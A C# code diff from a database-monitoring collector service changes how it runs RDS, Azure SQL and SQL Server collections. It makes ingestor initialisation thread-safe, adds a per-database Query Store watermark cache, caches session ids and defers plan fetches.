@@ -754,6 +927,34 @@ would starve whichever of the two runs second in a cycle. Each needs its own mar
     internal RdsResumeStore RdsResumeStoreFor(string collectorName)
         => new(collectorName, GetCollectorStateAsync, SaveCollectorStateAsync);
 
+    /* #5003: the four accessors below publish an RDS ingestor once, however many targets' first runs reach them together.
+       A plain ??= lets each of those runs build an ingestor and keep its own, and the ingestor holds the positions and
+       carries the other run was using. EnsureInitialized publishes with a compare-exchange, so a run that loses the race
+       builds an ingestor it throws away and every caller gets the one that was published. */
+
+    /// <summary>The one plan ingestor of this runner, built the first time a target needs it.</summary>
+    internal RdsPlanIngestor PublishedRdsPlanIngestor()
+        => LazyInitializer.EnsureInitialized(
+            ref _rdsPlans,
+            () => new RdsPlanIngestor(_postgres, logger: _logger, resume: RdsResumeStoreFor(PgPlanCaptureCollector.Instance.Name), verifier: _rdsVerifier, roles: _awsRoles));
+
+    /// <summary>The one deadlock ingestor of this runner, built the first time a target needs it.</summary>
+    internal RdsDeadlockIngestor PublishedRdsDeadlockIngestor()
+        => LazyInitializer.EnsureInitialized(
+            ref _rdsDeadlocks,
+            () => new RdsDeadlockIngestor(_postgres, logger: _logger, resume: RdsResumeStoreFor(PgDeadlocksCollector.Instance.Name), verifier: _rdsVerifier, roles: _awsRoles));
+
+    /// <summary>The one log-event ingestor of this runner, built the first time a target needs it with the store's
+    /// log-hash key <paramref name="logHashKey"/>.</summary>
+    internal RdsLogEventIngestor PublishedRdsLogEventIngestor(PgLogHashKey logHashKey)
+        => LazyInitializer.EnsureInitialized(
+            ref _rdsLogEvents,
+            () => new RdsLogEventIngestor(_postgres, logHashKey, logger: _logger, resume: RdsResumeStoreFor(PgLogEventsCollector.Instance.Name), verifier: _rdsVerifier, roles: _awsRoles));
+
+    /// <summary>The one CPU ingestor of this runner, built the first time a target needs it.</summary>
+    internal RdsCpuIngestor PublishedRdsCpuIngestor()
+        => LazyInitializer.EnsureInitialized(ref _rdsCpu, () => new RdsCpuIngestor(_postgres, logger: _logger, verifier: _rdsVerifier, roles: _awsRoles));
+
     /// <summary>
     /// <paramref name="result"/> with <see cref="PgServerLogTail.ForeignZoneLinesNote"/> merged into its host note
     /// when the run's definition recorded <see cref="PgServerLogTail.ForeignZoneLinesMeasurement"/> (#4046), so the
@@ -884,7 +1085,7 @@ internal static CollectorRunResult WithReadBinaryFileAdvisoryNote(CollectorRunRe
     public async Task<CollectorRunResult> IngestRdsPlansAsync(
         ServerRuntime server, CancellationToken cancellationToken)
     {
-        _rdsPlans ??= new RdsPlanIngestor(_postgres, logger: _logger, resume: RdsResumeStoreFor(PgPlanCaptureCollector.Instance.Name));
+        var rdsPlans = PublishedRdsPlanIngestor();
 
         var host = new NpgsqlConnectionStringBuilder(server.ConnectionString).Host ?? string.Empty;
 
@@ -895,8 +1096,8 @@ carries no target connection of its own to probe with. */
 
         var started = Stopwatch.GetTimestamp();
 
-        var outcome = await _rdsPlans.IngestAsync(
-            server.ServerId, server.StorageName, host, pgLogUsesCsvlog, cancellationToken);
+        var outcome = await rdsPlans.IngestAsync(
+            server.ServerId, server.StorageName, host, pgLogUsesCsvlog, server.ConnectionString, server.Config.AwsRoleKey, cancellationToken);
 
         var elapsedMs = (long)Stopwatch.GetElapsedTime(started).TotalMilliseconds;
 
@@ -920,7 +1121,7 @@ different from every other target's. */
     public async Task<CollectorRunResult> IngestRdsDeadlocksAsync(
         ServerRuntime server, CancellationToken cancellationToken)
     {
-        _rdsDeadlocks ??= new RdsDeadlockIngestor(_postgres, logger: _logger, resume: RdsResumeStoreFor(PgDeadlocksCollector.Instance.Name));
+        var rdsDeadlocks = PublishedRdsDeadlockIngestor();
 
         var host = new NpgsqlConnectionStringBuilder(server.ConnectionString).Host ?? string.Empty;
 
@@ -935,8 +1136,8 @@ connection of its own to probe with. */
 
         var started = Stopwatch.GetTimestamp();
 
-        var outcome = await _rdsDeadlocks.IngestAsync(
-            server.ServerId, server.StorageName, host, logTimezoneIsUtc, pgLogUsesCsvlog, cancellationToken);
+        var outcome = await rdsDeadlocks.IngestAsync(
+            server.ServerId, server.StorageName, host, logTimezoneIsUtc, pgLogUsesCsvlog, server.ConnectionString, server.Config.AwsRoleKey, cancellationToken);
 
         var elapsedMs = (long)Stopwatch.GetElapsedTime(started).TotalMilliseconds;
 
@@ -1111,7 +1312,7 @@ public async Task<CollectorRunResult> IngestRdsLogEventsAsync(
     {
         /* #4004: no key, no hashing - the same refusal the pg_read_file route's BuildQuery makes. */
         var logHashKey = _logHashKey ?? throw new InvalidOperationException(PgLogHashKey.UnavailableMessage);
-        _rdsLogEvents ??= new RdsLogEventIngestor(_postgres, logHashKey, logger: _logger, resume: RdsResumeStoreFor(PgLogEventsCollector.Instance.Name));
+        var rdsLogEvents = PublishedRdsLogEventIngestor(logHashKey);
 
         var host = new NpgsqlConnectionStringBuilder(server.ConnectionString).Host ?? string.Empty;
 
@@ -1129,8 +1330,8 @@ this is a cache hit on every cycle but the first and the one after a switch. */
 
         var started = Stopwatch.GetTimestamp();
 
-        var outcome = await _rdsLogEvents.IngestAsync(
-            server.ServerId, server.StorageName, host, logTimezoneIsUtc, pgLogUsesCsvlog, cancellationToken);
+        var outcome = await rdsLogEvents.IngestAsync(
+            server.ServerId, server.StorageName, host, logTimezoneIsUtc, pgLogUsesCsvlog, server.ConnectionString, server.Config.AwsRoleKey, cancellationToken);
 
         var elapsedMs = (long)Stopwatch.GetElapsedTime(started).TotalMilliseconds;
 
@@ -1208,14 +1409,14 @@ there is nothing yet to remember. */
     public async Task<CollectorRunResult> IngestPgCpuAsync(
         ServerRuntime server, CancellationToken cancellationToken)
     {
-        _rdsCpu ??= new RdsCpuIngestor(_postgres, logger: _logger);
+        var rdsCpu = PublishedRdsCpuIngestor();
 
         var host = new NpgsqlConnectionStringBuilder(server.ConnectionString).Host ?? string.Empty;
 
         var started = Stopwatch.GetTimestamp();
 
-        var outcome = await _rdsCpu.IngestAsync(
-            server.ServerId, server.StorageName, host, cancellationToken);
+        var outcome = await rdsCpu.IngestAsync(
+            server.ServerId, server.StorageName, host, server.ConnectionString, server.Config.AwsRoleKey, cancellationToken);
 
         var elapsedMs = (long)Stopwatch.GetElapsedTime(started).TotalMilliseconds;
 
@@ -2093,6 +2294,8 @@ which is the conservative behavior. */
             }
         }
 
+        var capturePlanXml = ShouldCapturePlanXmlFor(definition.Name, server.ServerId);
+        var planFetchFlags = StampPlanFetchFlags(definition.Name, capturePlanXml, server.Target);
         var context = new CollectorContext
         {
             ServerId = server.ServerId,
@@ -2114,11 +2317,18 @@ which is the conservative behavior. */
             /* #3477: same shared-not-re-derived rule for the scope — one resolution per run, above. */
             DatabaseScope = databaseScope,
             PerfmonCounterOverride = null,
+            LongQuerySessionName = LongQuerySessionName(),
             /* #2862: plan capture is additionally cadence-gated for procedure_stats — see
                ShouldCapturePlanForCollector. Every other collector reads exactly _capturePlans().
                Only this path is gated: FetchRowsAsync below is the on-demand live fetch, which an
                operator asked for by name and which stores nothing, so it always renders. */
-            CapturePlanXml = ShouldCapturePlanXmlFor(definition.Name, server.ServerId),
+            CapturePlanXml = capturePlanXml,
+            /* #5158: query_stats' main query leaves the plan out and the plan fetch below renders only the plans this
+               host has not committed. */
+            DeferPlanXmlFetch = planFetchFlags.DeferPlanXmlFetch,
+            /* #5158: procedure_stats' identity columns, so the host can recognize a module plan. Both flags come from one
+               resolution of the mode (StampPlanFetchFlags); the reader close and the reuse pass read it back from here. */
+            PlanIdentityColumns = planFetchFlags.PlanIdentityColumns,
             /* #4735 item 1: 0 on the first attempt; RunWithSplitCharacterRetryAsync raises it after a 22021. */
             PgLogReadShiftBytes = pgLogReadShiftBytes,
             /* #2150: ON. query_sql_text is no longer carried on every runtime-stats row — it is fetched once
@@ -2217,6 +2427,33 @@ turn a permissions problem into a silent one-database collection. */
                     ? await listOverride(server, cancellationToken)
                     : await GetAzureDatabaseListAsync(server, databaseScope, cancellationToken);
 
+            /* The long-query trace leaves a database monitored as its own server to that registration, and never
+               keeps a session in master, so its read does too (LongQueryCompletionsCollector.SkipsSeparatelyMonitoredDatabases).
+               A logical server lists master beside its user databases. master goes first and is not counted as
+               listed: the note below speaks of user databases, and a list of master alone has none to blame it on
+               (#4961). Other collectors read the list as it came. Mirrors Lite. */
+            var listedDatabaseCount = databases.Count;
+            if (definition.SkipsSeparatelyMonitoredDatabases)
+            {
+                databases = databases.FindAll(LongQueryTraceDatabases.CanHoldSession);
+                listedDatabaseCount = databases.Count;
+                databases = AzureSweepScope.WithoutSeparatelyMonitored(databases, SeparatelyMonitoredDatabasesFor(server));
+            }
+
+            /* #4961: a list with nothing left to read used to record SUCCESS, 0 rows and no note, which reads as
+               "nothing ran". The note names why nothing was read (every user database monitored as its own server,
+               or every database excluded). The status stays SUCCESS: nothing failed. It is held here and merged
+               into the assignment that follows the loop, because that assignment is unconditional and would erase
+               a note set before it. A database scope can empty the list too, and the exclusions are then
+               not known to be the reason, so a scoped collector gets the separately-monitored note or none.
+               Mirrors Lite. */
+            var emptyListNote = EmptyDatabaseListNote.For(
+                listedDatabaseCount,
+                databases.Count,
+                definition.SkipsSeparatelyMonitoredDatabases,
+                exclusionsConfigured: server.Config.ExcludedDatabases is { Count: > 0 },
+                databaseScoped: databaseScope.Count > 0);
+
             var attempted = 0;
             var failed = 0;
             Exception? firstFailure = null;
@@ -2253,6 +2490,11 @@ cancellationToken and this loop is byte-for-byte what it was. */
                    into a sibling database's landing. */
                 string? stagedOpenIntervalStamp = null;
 
+                /* #5514: this database's contribution to the per-database Query Store watermark cache, staged
+                   after the read and landed only once the flush returned — per iteration, like the stamp above,
+                   so a fault cannot leak one database's contribution into a sibling's. */
+                StagedDatabaseWatermark? stagedDatabaseWatermark = null;
+
                 /* The definition's own per-item staged state (CollectorContext.StagedItemState), cleared per
                    iteration for the same reason: a fault must not leak this database's staged cursor into a
                    sibling's landing. It lands below, after this database's flush, and nowhere else. */
@@ -2276,6 +2518,15 @@ Null therefore means "the fault landed before the timed region" — in the water
                        CollectorContext.CurrentDatabaseName. */
                     context.CurrentDatabaseName = databaseName;
 
+                    /* #4961: the deadlock and blocked-process reads name the session the ensure chose for THIS database, so
+                       the name is set per database, beside the database name. Every other definition leaves it null. */
+                    context.AlwaysOnSessionName = definition switch
+                    {
+                        DeadlocksCollector => AlwaysOnReadSessionName(server, databaseName, AlwaysOnXeSessionKind.Deadlock),
+                        BlockedProcessReportCollector => AlwaysOnReadSessionName(server, databaseName, AlwaysOnXeSessionKind.BlockedProcess),
+                        _ => null,
+                    };
+
                     /* #2855: cleared once per iteration, because this loop reuses ONE context across every
                        database and without the reset a database whose read faults would print the PREVIOUS
                        database's split as its own — a stale timing that looks precise is worse than no
@@ -2332,11 +2583,26 @@ value this read returns is clamped before anything uses it. */
                         var azureReadFloor = string.Equals(definition.Name, QueryStoreCollector.Instance.Name, StringComparison.Ordinal)
                             ? WatermarkPolicy.ReadFloor(collectionTime)
                             : null;
-                        /* This path is excluded from the per-database cache; the invalidate is only defensive. */
-                        _databaseWatermarkCache.Invalidate(server.ServerId, databaseName);
-                        context.Watermark = await GetLastCollectedTimeForDatabaseAsync(
-                            server.ServerId, definition.TargetTable, definition.WatermarkColumn!,
-                            definition.PerDatabaseWatermarkColumn!, databaseName, dbToken, azureReadFloor);
+                        /* #5514: query_store on this arm resolves its watermark through the per-database cache,
+                           exactly as the enumerated arm does. #4669 left this arm out of the cache ("it shares its
+                           read with the unbounded XE collectors") and invalidated the key every pass, so every
+                           Azure SQL Database paid one bounded store read per database per cycle: 181,050 calls in
+                           13 days on a 43-server store. The key is read through the same floor the enumerated arm
+                           uses, advanced from this database's batch only after its write returned (stage below,
+                           commit in the success block), and dropped by both fault arms. The XE ring-buffer
+                           collectors have no read floor (azureReadFloor is null) and keep their own read. */
+                        if (azureReadFloor is DateTime azureCacheFloor)
+                        {
+                            context.Watermark = await ResolveQueryStoreDatabaseWatermarkAsync(
+                                server, definition.TargetTable, definition.WatermarkColumn!,
+                                definition.PerDatabaseWatermarkColumn!, databaseName, azureCacheFloor, collectionTime, dbToken);
+                        }
+                        else
+                        {
+                            context.Watermark = await GetLastCollectedTimeForDatabaseAsync(
+                                server.ServerId, definition.TargetTable, definition.WatermarkColumn!,
+                                definition.PerDatabaseWatermarkColumn!, databaseName, dbToken, azureReadFloor);
+                        }
 
                         /* #2111 adaptive shrink, Azure arm — tighten BEFORE BuildQuery: the
                            definition's own clamp only floors OLDER watermarks, so a tighter one
@@ -2551,6 +2817,13 @@ await FetchQueryStorePlansAndTextAsync(
                         sqlMs += dbFetchMs;
                     }
 
+                    /* #5514: what this batch contributes to the cache, computed from the rows as read (the same
+                       staging the enumerated arm does after its fetch) and landed below, after the flush. */
+                    if (string.Equals(definition.Name, QueryStoreCollector.Instance.Name, StringComparison.Ordinal))
+                    {
+                        stagedDatabaseWatermark = StageQueryStoreDatabaseWatermark(batch, databaseName, collectionTime);
+                    }
+
                     /* Flush this database before reading the next — peak memory is one database's rows. */
                     long dbStorageMs = 0;
                     if (batch.Count > 0)
@@ -2661,6 +2934,13 @@ context signal stays this database's until the next read resets it. */
                     {
                         OnQueryStoreItemSucceeded(server.ServerId, databaseName);
 
+                        /* #5514: the flush returned, so the staged batch is in the store and the cache may
+                           advance past it. Never earlier: a watermark ahead of committed rows skips them. */
+                        if (stagedDatabaseWatermark is { } landedWatermark)
+                        {
+                            CommitQueryStoreDatabaseWatermark(server, databaseName, landedWatermark);
+                        }
+
                         /* #2312: read and flush both landed — the staged open-interval stamp may too. */
                         if (stagedOpenIntervalStamp is not null)
                         {
@@ -2702,6 +2982,19 @@ in the budget keeps halving until it can. */
                     if (string.Equals(definition.Name, QueryStoreCollector.Instance.Name, StringComparison.Ordinal))
                     {
                         OnQueryStoreItemFailed(server.ServerId, databaseName);
+
+                        /* #5514: a batch was staged, so its write may or may not have committed: drop this key and
+                           let the next cycle read the store. A fault before the stage wrote nothing, and the key
+                           stays. That matters for a PARTIAL failure: a database that fails every cycle (offline, a
+                           login that cannot reach it) beside healthy siblings must not turn back into a store read
+                           every cycle. When EVERY database fails (a one-database registration, the common shape)
+                           the loop rethrows and RunAsync's catch drops all of this server's query_store keys
+                           anyway, so there the kept key buys nothing. Correctness is the same either way: a kept
+                           key is equal to the store or stale-low, never ahead. */
+                        if (stagedDatabaseWatermark is not null)
+                        {
+                            _databaseWatermarkCache.Invalidate(server.ServerId, databaseName);
+                        }
                     }
 
                     /* WARNING, not Debug, unlike the routine per-database skip beside it: an offline
@@ -2740,6 +3033,19 @@ guard as the hole recording above. */
                     if (string.Equals(definition.Name, QueryStoreCollector.Instance.Name, StringComparison.Ordinal))
                     {
                         OnQueryStoreItemFailed(server.ServerId, databaseName);
+
+                        /* #5514: a batch was staged, so its write may or may not have committed: drop this key and
+                           let the next cycle read the store. A fault before the stage wrote nothing, and the key
+                           stays. That matters for a PARTIAL failure: a database that fails every cycle (offline, a
+                           login that cannot reach it) beside healthy siblings must not turn back into a store read
+                           every cycle. When EVERY database fails (a one-database registration, the common shape)
+                           the loop rethrows and RunAsync's catch drops all of this server's query_store keys
+                           anyway, so there the kept key buys nothing. Correctness is the same either way: a kept
+                           key is equal to the store or stale-low, never ahead. */
+                        if (stagedDatabaseWatermark is not null)
+                        {
+                            _databaseWatermarkCache.Invalidate(server.ServerId, databaseName);
+                        }
                     }
 
                     _logger?.LogDebug("Skipping database '{Database}' for {Collector}: {Error}", databaseName, definition.Name, ex.Message);
@@ -2781,11 +3087,14 @@ it just swept. AFTER the loop on purpose - the enumeration is what makes the lis
 
             /* #1875: ONE note for the cycle and ONE capped log burst, composed from every database's
                failures together. Assigned unconditionally — a cycle where nothing failed composes null,
-               which is exactly what this path carried before. */
+               which is exactly what this path carried before. The empty-list note (#4961) rides in this
+               assignment: it is the one place the note is set, so nothing assigned earlier can be erased. */
             collectionNote = EnumeratedCollectorDriver.MergeNotes(
-                cycleProbeFailures.Note,
-                EnumeratedCollectorDriver.BuildPartialFailureNote(
-                    failed, attempted, failedDatabases, firstFailure?.Message));
+                emptyListNote,
+                EnumeratedCollectorDriver.MergeNotes(
+                    cycleProbeFailures.Note,
+                    EnumeratedCollectorDriver.BuildPartialFailureNote(
+                        failed, attempted, failedDatabases, firstFailure?.Message)));
             LogEnumerationProbeFailures(definition, server, cycleProbeFailures.Failures);
 
             /* One database failing is routine (offline, mid-restore, a permissions oddity) and stays a
@@ -2803,9 +3112,31 @@ Rethrow the first failure so RunOneAsync classifies it (SESSION_MISSING / PERMIS
         }
         else
         {
-            using var targetConnection = CreateTargetConnection(server);
+            /* #5320: the provider resolved at the top of this method (the test override when one is set, TargetProviders.For
+               otherwise), so the server-wide path has the same fake-reader seam the per-database path has. */
+            using var targetConnection = CreateTargetConnection(server, targetProvider);
             await targetConnection.OpenAsync(cancellationToken);
 
+            /* #5132: the target's own session id, resolved right after the open and BEFORE any reader
+               exists on this connection. SQL Server's property is 0 under MARS at every point, so the id
+               comes from a lookup cached per physical connection (one SELECT @@SPID per new connection,
+               none on pool reuse); see TargetSessionIdCache. Best-effort: null on any failure.
+
+               The lookup is TIMED into sqlMs (no open-phase column covers this point: ServerScopeOpenMs
+               and PerItemOpenMs time only the reader opens). It stays OUTSIDE PerItemWallClockBudget on
+               purpose; the lookup's own 5 s CommandTimeout bounds it. */
+            var sessionIdWatch = Stopwatch.StartNew();
+            Guid sessionIdKey;
+            try
+            {
+                (context.TargetSessionId, sessionIdKey) =
+                    await TargetSessionIdCache.Shared.ResolveAsync(targetConnection, _logger, cancellationToken);
+            }
+            finally
+            {
+                sqlMs += sessionIdWatch.ElapsedMilliseconds;
+            }
+
             var enumerationPlan = definition.BuildEnumerationQuery(context);
             if (enumerationPlan is not null)
             {
@@ -3261,6 +3592,8 @@ await ResolvePgFileSettingsReadableAsync(
                 var sqlSlice = Stopwatch.StartNew();
                 var plan = definition.BuildQuery(context);
                 List<TRow> rows;
+                List<QueryStatsPlanKey>? pendingPlanKeys = null;
+                List<ProcedureStatsPlanKey>? pendingProcedureKeys = null;
                 /* #2851: this branch IS the server-scoped path, so its phases are measured from here on.
                    Set before the read rather than after it so the wall-clock-budget catch below reports the
                    phases of the cycle it abandoned — that is the case where "where did the time go" matters
@@ -3334,24 +3667,15 @@ misattribution the last time this was got wrong. */
 
                     using var reader = opened;
 
-                    /* #2864: the target's own session id, read off the connection as a client property rather
-                       than asked for with SELECT @@SPID — a round trip would be ~25,000 extra queries an hour
-                       across the fleet to fetch a number the client already holds. It is what makes a stalled
-                       run joinable to waiting_tasks / dmv_blocking_snapshot / query_snapshots, all of which
-                       record a session id; without it "what was OUR session waiting on" cannot be asked
-                       retrospectively even for a window where the answering snapshot was captured.
-
-                       Captured HERE, after ExecuteReaderAsync has returned, and not beside the phase flag
-                       above (#2884): SqlConnection.ServerProcessId is not reliably populated until the
-                       connection has round-tripped a command, so a read placed before the open recorded 0 —
-                       a value no real session has — on exactly the abandoned cycles the id exists to explain.
-                       Here the round trip has provably happened, so a drain-stall abandon (open completes in
-                       ~100-200ms; the budget fires minutes into the read) records its REAL id, which is the
-                       load-bearing case. An abandon that fires INSIDE ExecuteReaderAsync leaves this null,
-                       which the store reads as NOT RECORDED — the honest answer for a connection that never
-                       finished its first exchange, and one of the reachable-NULL cases the V109 write-side
-                       comment already documents. */
-                    context.TargetSessionId = TryReadTargetSessionId(targetConnection);
+                    /* A transparent reconnect during the open gives a new physical connection (new
+                       ClientConnectionId, new session); the id resolved at open then belongs to the old
+                       one. Property comparison only. */
+                    if (targetConnection is SqlConnection openedSql
+                        && TargetSessionIdCache.Shared.DiscardIfReplaced(sessionIdKey, openedSql.ClientConnectionId))
+                    {
+                        context.TargetSessionId = null;
+                    }
+
                     var drainWatch = Stopwatch.StartNew();
 
                     /* #2864: the collector reads through a counting decorator rather than the provider reader
@@ -3410,6 +3734,45 @@ exactly what they were. */
                        trigger evidence that included time no reader was waiting on. Dispose is
                        idempotent for exactly this pairing. */
                     stallProbeArm.Dispose();
+
+                    /* #5449: procedure_stats' plan phase. The main query is numbers only, so a host that captures plans or
+                       reads identities asks the target for them in a second query over the first MaxPlansPerRun kept rows,
+                       here: on this same target connection and inside the same wall-clock budget (itemToken), before the
+                       #5158 reuse pass below reads the identities it fills. Lite never reaches this: it captures no plans. */
+                    var procedureStatsPlanPhaseMs = 0L;
+                    if ((object)rows is List<ProcedureStatsCollector.Row> phaseRows
+                        && ProcedureStatsCollector.PlanPhaseApplies(context))
+                    {
+                        procedureStatsPlanPhaseMs = await RunProcedureStatsPlanPhaseAsync(
+                            targetProvider, reader, targetConnection, server, context, phaseRows, itemToken);
+                    }
+
+                    /* #5158: the deferred plan fetch. After the main read is over and on this same target connection,
+                       inside the same wall-clock budget (itemToken), so a slow fetch is cut by the budget like the read. */
+                    if (context.DeferPlanXmlFetch && (object)rows is List<QueryStatsCollector.Row> deferredRows)
+                    {
+                        await reader.CloseAsync();
+                        pendingPlanKeys = await FetchDeferredQueryStatsPlansAsync(
+                            targetProvider, targetConnection, server, context, deferredRows, itemToken);
+                    }
+                    else if (context.PlanIdentityColumns && (object)rows is List<ProcedureStatsCollector.Row> identityRows)
+                    {
+                        /* The run's mode, read back from the stamp: the knob and the capture setting are not asked again. */
+                        var procedureStatsMode = ProcedureStatsPlanFetchModes.OfRun(context);
+                        if (procedureStatsMode == ProcedureStatsPlanFetchMode.On)
+                        {
+                            await reader.CloseAsync();
+                        }
+
+                        pendingProcedureKeys = await ApplyProcedureStatsPlanReuseAsync(
+                            targetProvider, targetConnection, server, context, identityRows, procedureStatsMode, itemToken,
+                            procedureStatsPlanPhaseMs);
+                    }
+                    else if (procedureStatsPlanPhaseMs > 0 && (object)rows is List<ProcedureStatsCollector.Row> offRows)
+                    {
+                        /* Off mode renders the plans in the plan phase and has no reuse pass: stamp what it rendered. */
+                        StampProcedureStatsOffPlanPhase(context, offRows, procedureStatsPlanPhaseMs);
+                    }
                 }
                 catch (Exception ex) when (EnumeratedCollectorDriver.ItemBudgetExpired(itemBudget, cancellationToken))
                 {
@@ -3472,7 +3835,52 @@ what arrived before the budget fired survives the abandon. */
 
                 var storageSlice = Stopwatch.StartNew();
                 await using var pgConnection = await _postgres.OpenConnectionAsync(cancellationToken);
-                rowsWritten = await WriteBatchAsync(pgConnection, definition, rows, server, collectionTime, context, cancellationToken);
+                var committed = false;
+                try
+                {
+                    rowsWritten = await WriteBatchAsync(pgConnection, definition, rows, server, collectionTime, context, cancellationToken);
+                    committed = true;
+                }
+                finally
+                {
+                    /* #5158: a plan this run rendered counts as stored only once its batch committed (a successful
+                       StoreWriteReattempt included). A batch that failed leaves nothing cached, so the next run
+                       renders those plans again rather than sending a digest the store never received. */
+                    if (pendingPlanKeys is not null
+                        && _queryStatsPlanCaches.TryGetValue(server.ServerId, out var planCache))
+                    {
+                        if (committed)
+                        {
+                            planCache.ConfirmPending(pendingPlanKeys, DateTime.UtcNow);
+                        }
+                        else
+                        {
+                            planCache.DiscardPending(pendingPlanKeys);
+                        }
+                    }
+
+                    /* Two runs of one server's procedure_stats never overlap, so no other run can overwrite a pending entry
+                       between this run's add and this confirm (ConfirmPending trusts the entry it finds under the key):
+                       - a non-daily run is awaited inside the server's sweep body, under the per-server CollectionGate
+                         (DarlingWorker.cs:12146), and a snapshot_now takes the same gate (DarlingWorker.cs:12430);
+                       - the sweep launches one body per server at a time (DarlingWorker.cs:3358);
+                       - a run an override makes daily goes through the per-(server, collector) DetachedCollectorGate
+                         (DarlingWorker.cs:13799), and the at-connect and snapshot runs take its slot first
+                         (TryTakeInlineDailySlot, DarlingWorker.cs:5639). */
+                    if (pendingProcedureKeys is not null
+                        && _procedureStatsPlanCaches.TryGetValue(server.ServerId, out var procedurePlanCache))
+                    {
+                        if (committed)
+                        {
+                            procedurePlanCache.ConfirmPending(pendingProcedureKeys, DateTime.UtcNow);
+                        }
+                        else
+                        {
+                            procedurePlanCache.DiscardPending(pendingProcedureKeys);
+                        }
+                    }
+                }
+
                 storageMs += storageSlice.ElapsedMilliseconds;
 
                 /* The single item's write returned: land what the definition staged for it. A throw above
@@ -3562,38 +3970,6 @@ exactly the note it carried before. */
             FetchPhases: fetchPhases.Result);
     }
 
-    /// <summary>
-    /// The monitored target's own session id, off the OPEN connection as a property (#2864). SQL Server's
-    /// SPID via <c>SqlConnection.ServerProcessId</c>, PostgreSQL's backend pid via
-    /// <c>NpgsqlConnection.ProcessID</c>; null for any other provider.
-    ///
-    /// <para>A property read rather than <c>SELECT @@SPID</c> deliberately: the value is already on the
-    /// client after the handshake, and asking for it would add a round trip per collector per server per
-    /// cycle — on this fleet roughly 25,000 extra queries an hour to learn something already known. The
-    /// point of the number is joinability: waiting_tasks, dmv_blocking_snapshot and query_snapshots all
-    /// carry a session id, so recording ours turns "what was our own stalled session waiting on" from an
-    /// unanswerable question into a join.</para>
-    ///
-    /// <para>Best-effort by design. A provider that exposes no such property returns null, which reads as
-    /// "not available" — never as a session id of 0, which is a real SPID.</para>
-    /// </summary>
-    private static int? TryReadTargetSessionId(DbConnection connection)
-    {
-        /* A session id of 0 is never real — SQL Server assigns no SPID 0 to a user session, and both
-           providers report 0 from this property for a connection that has not completed the exchange
-           that populates it — so 0 is the provider's "not available" state, not a measurement. #2884
-           found it written to the store as though it were data, on exactly the abandoned cycles where
-           the id is the join key. Normalized to null here, at the source, so every consumer sees the
-           declared NOT-RECORDED convention instead of a real-looking placeholder. */
-        var raw = connection switch
-        {
-            SqlConnection sql => sql.ServerProcessId,
-            NpgsqlConnection npgsql => npgsql.ProcessID,
-            _ => 0,
-        };
-        return raw > 0 ? raw : null;
-    }
-
     /// <summary>
     /// Writes the per-item app-log lines for probe failures, capped at
     /// <see cref="EnumeratedCollectorDriver.MaxLoggedProbeFailures"/> with the suppressed remainder
@@ -3694,7 +4070,8 @@ filtered list. Every other collector's definition skips this null check. */
         /* #3099: ONE re-attempt, gated on the COPY's START phase, and lossless because `rows` is still
            the parameter this method was handed. The gate is what makes it lossless rather than merely
            cheap: a start-phase fault sent no row, so a COPY ... FROM STDIN cannot have committed and the
-           store is byte-identical, and it ran no WritePayload, so no delta baseline moved. Both are
+           store is byte-identical, and it ran no WritePayload, so no counter-moved row's delta baseline moved (procedure_stats'
+           idle skip advances only UNCHANGED counters at read time, #5449, which is lossless). Both are
            forfeit past that point — see CopyBatchOnceAsync, which stamps the phase and carries the
            argument. StoreWriteReattempt.IsSafeToReattempt requires Start positively, so an unstamped
            fault and a data-phase fault both decline and cost a sample rather than authorising a duplicate
@@ -3856,7 +4233,7 @@ than store rows this server might already hold. The #3099 retry above still appl
     /// hypertable's partitioning column) for chunk exclusion. A null graph is never an identity.
     /// </summary>
     internal const string StoredDeadlockIdentitySql =
-        "SELECT deadlock_time, deadlock_graph_xml FROM deadlocks " +
+        "SELECT deadlock_time, " + DeadlocksCollector.StoredGraphIdentitySql + " FROM deadlocks " +
         "WHERE server_id = $1 AND deadlock_graph_xml IS NOT NULL AND deadlock_graph_xml <> '' " +
         "AND deadlock_time = ANY($2::timestamp[]) AND collection_time >= $3";
 
@@ -4043,7 +4420,8 @@ private async Task<int> CopyOnAFreshConnectionAsync<TRow>(
 
     /// <summary>
     /// ONE attempt at the batch: the binary COPY, and for the diverting collectors the transaction that
-    /// wraps it and its dimension flush. Separate from <see cref="WriteBatchAsync"/> so the importer and
+    /// wraps it and its dimension flush (for query_stats, also the hour ledger's count, #4605, which commits
+    /// with the rows or not at all). Separate from <see cref="WriteBatchAsync"/> so the importer and
     /// the transaction are both disposed before the re-attempt runs — a retry that fired while the failed
     /// attempt's transaction was still in scope would re-enter with an aborted transaction on the
     /// connection and fail on 25P02 rather than on anything to do with the store.
@@ -4052,7 +4430,9 @@ private async Task<int> CopyOnAFreshConnectionAsync<TRow>(
     /// is.</b> #3095's <c>StoreCopyPhase</c> transition sits inside the COPY block below, so
     /// <c>Start</c> means strictly "the importer never came back": no row started, so a
     /// <c>COPY ... FROM STDIN</c> cannot have committed, and <c>WritePayload</c> never ran, so no
-    /// <c>CollectorDeltaCalculator</c> baseline moved. <see cref="StoreWriteReattempt.IsSafeToReattempt"/>
+    /// <c>CollectorDeltaCalculator</c> baseline moved for a row whose counters moved (procedure_stats advances an
+    /// UNCHANGED row's baseline at read time to drop it as idle, and a row kept with its deltas computed carries them;
+    /// neither can be re-derived wrongly, #5449). <see cref="StoreWriteReattempt.IsSafeToReattempt"/>
     /// requires that value positively.</para>
     ///
     /// <para><b>Both properties are why the row loop below must never be re-run.</b> Past the transition a
@@ -4084,6 +4464,23 @@ dimension table instead of inline onto every row. Derived from the same schema
             writer.UseDimensions(diversionPlan, dimensions);
         }
 
+        /* #4605: a query_stats batch also adds its non-restart row count (rows written with a sample_interval_seconds
+           other than 0, a NULL included) to the hourly ledger, in the COPY's own transaction below. The count is the
+           writer's tally of the value it sends into that column, taken at the exact write and never re-derived. The
+           writer is built per attempt, so the tally starts from zero on every attempt and a failed attempt's rows
+           cannot be counted twice by the re-attempt. All rows of the batch carry the one storedCollectionTime below,
+           so a batch is one hour and one upsert.
+
+           The batch is a ledger batch by the table this COPY writes, not by the definition's CLR type: a definition
+           aimed at query_stats that is not the catalog's QueryStatsCollector (a one-off import or backfill) is counted
+           too, or fails loudly. IntervalPayloadIndex throws for a definition without the column, and the tally check
+           before the COPY completes catches any other overload. */
+        var ledgerBatch = string.Equals(definition.TargetTable, QueryStatsCollector.Instance.TargetTable, StringComparison.OrdinalIgnoreCase);
+        if (ledgerBatch)
+        {
+            writer.CountNonZeroAt(QueryStatsHourLedgerWriter.IntervalPayloadIndex(definition));
+        }
+
         /* #3953: a Query Store batch also maintains the latest-snapshot-per-interval table, in the COPY's own
